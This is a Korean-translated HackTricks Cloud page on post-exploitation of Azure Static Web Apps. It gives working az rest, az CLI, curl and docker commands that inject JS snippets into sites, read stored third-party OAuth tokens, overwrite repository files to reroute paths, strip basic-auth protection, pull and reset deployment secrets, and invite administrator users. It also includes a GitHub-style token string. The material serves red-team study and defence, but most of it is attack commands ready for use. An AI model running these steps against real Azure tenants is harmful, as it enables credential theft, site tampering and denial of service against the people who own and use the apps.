Az - Static Web Apps Post Exploitation
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure Static Web Apps
For more information about this service check:
Microsoft.Web/staticSites/snippets/write
snippet을 생성하면 정적 웹 페이지가 임의의 HTML 코드를 로드하도록 만들 수 있습니다. 이는 attacker가 web app 내부에 JS 코드를 주입해 credentials 또는 mnemonic keys (web3 wallets)에 있는 민감한 정보를 탈취할 수 있게 합니다.
다음 명령은 web app에 의해 항상 로드되는 snippet을 생성합니다::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
구성된 타사 자격 증명 읽기
앞서 App Service 섹션에서 설명한 바와 같이:
다음 명령을 실행하면 현재 계정에 구성된 타사 자격 증명을 읽을 수 있습니다. 예를 들어 일부 Github 자격 증명이 다른 사용자에 구성되어 있는 경우, 다른 사용자에서는 해당 token에 접근할 수 없습니다.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive의 tokens를 반환합니다.
다음은 tokens를 확인하기 위한 몇 가지 명령 예시입니다:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
파일 덮어쓰기 - Overwrite routes, HTML, JS…
Azure가 Github token을 통해 다음과 같은 요청을 보내면 앱을 포함한 Github repo 내부의 파일을 덮어쓸 수 있습니다. 이 요청은 덮어쓸 파일의 경로, 파일의 내용, 그리고 커밋 메시지를 지정합니다.
공격자는 이를 악용해 웹 앱의 내용을 변경하여 악성 콘텐츠를 제공(steal credentials, mnemonic keys…)하거나 staticwebapp.config.json 파일을 덮어써 특정 경로를 자신의 서버로 리라우팅할 수 있습니다.
Warning
공격자가 어떤 방식으로든 Github repo를 침해하면, Github에서 파일을 직접 덮어쓸 수도 있다는 점을 유의하세요.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
이 권한을 사용하면 다음과 같은 요청을 전송하여 static web app을 보호하는 비밀번호를 변경하거나 모든 환경의 보호를 해제할 수 있습니다:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
이 권한은 정적 앱의 API key deployment token을 가져올 수 있게 합니다.
az rest를 사용:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
AzCLI 사용:
az staticwebapp secrets list --name <appname> --resource-group <RG>
그런 다음, 토큰을 사용해 앱을 업데이트하려면 다음 명령을 실행하면 됩니다. 이 명령은 Azure가 기본적으로 사용하도록 설정한 Github Action https://github.com/Azure/static-web-apps-deploy의 작동 방식을 확인하여 추출한 것입니다. 따라서 이미지와 매개변수는 향후 변경될 수 있습니다.
Tip
앱을 배포하려면
swa도구(https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)를 사용하거나 다음의 원시 단계를 따를 수 있습니다:
- 레포 https://github.com/staticwebdev/react-basic (또는 배포하려는 다른 레포)를 다운로드하고
cd react-basic를 실행합니다. - 배포하려는 코드를 수정합니다
- 다음을 실행해 배포합니다 (
<api-token>를 변경하는 것을 잊지 마세요):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
토큰을 가지고 있더라도 Deployment Authorization Policy가 Github로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방식을 APi 토큰을 사용하도록 변경하기 위해
Microsoft.Web/staticSites/write권한이 필요합니다.
Microsoft.Web/staticSites/write
이 권한으로 static web app의 소스를 다른 Github 리포지토리로 변경할 수 있지만, 이는 자동으로 프로비저닝되지는 않으며 Github Action에서 수행되어야 합니다.
하지만 Deployment Authotization Policy가 Github로 설정되어 있다면, 새 소스 리포지토리에서 앱을 업데이트하는 것이 가능합니다!.
만약 Deployment Authorization Policy가 Github로 설정되어 있지 않다면, 동일한 권한 Microsoft.Web/staticSites/write로 이를 변경할 수 있습니다.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
앱을 배포하기 위한 예제 Github Action:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
이 권한으로 static web app의 API key를 재설정할 수 있으며, 앱을 자동으로 배포하는 workflows를 DoSing하여 잠재적으로 중단시킬 수 있습니다.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
이 권한은 특정 역할을 지정하여 static web app 내부의 보호된 경로에 접근할 수 있도록 사용자를 사용자 초대장 생성 할 수 있게 합니다.
로그인은 github의 경우 /.auth/login/github, Entra ID의 경우 /.auth/login/aad 같은 경로에 위치하며, 사용자는 다음 명령으로 초대할 수 있습니다:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
풀 리퀘스트
기본적으로 동일 리포지토리의 브랜치에서 생성된 Pull Requests는 스테이징 환경에서 자동으로 컴파일되고 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한은 있지만 프로덕션 브랜치(보통 main)의 브랜치 보호를 우회할 수 없는 공격자가 스테이징 URL에 악성 앱 버전을 배포하는 데 악용될 수 있습니다.
스테이징 URL은 다음 형식입니다: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> 예: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
기본적으로 외부 PR은 저장소에 적어도 1개의 PR을 병합한 적이 없는 한 workflows를 실행하지 않는다는 점에 유의하세요. 공격자는 먼저 저장소에 합법적인 PR을 보낸 뒤 악성 PR을 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 하지만 예상치 못한 보호 장치가 있습니다. static web app에 배포하는 기본 Github Action은 IDToken으로 배포하더라도 배포 토큰을 포함한 시크릿(예:
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F)에 대한 접근이 필요합니다. 이는 외부 PR이 이 시크릿에 접근할 수 없고, 외부 PR이 승인되지 않는 한 Workflow를 변경해 임의 토큰을 넣을 수 없기 때문에, 이 공격은 실제로는 작동하지 않습니다.
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

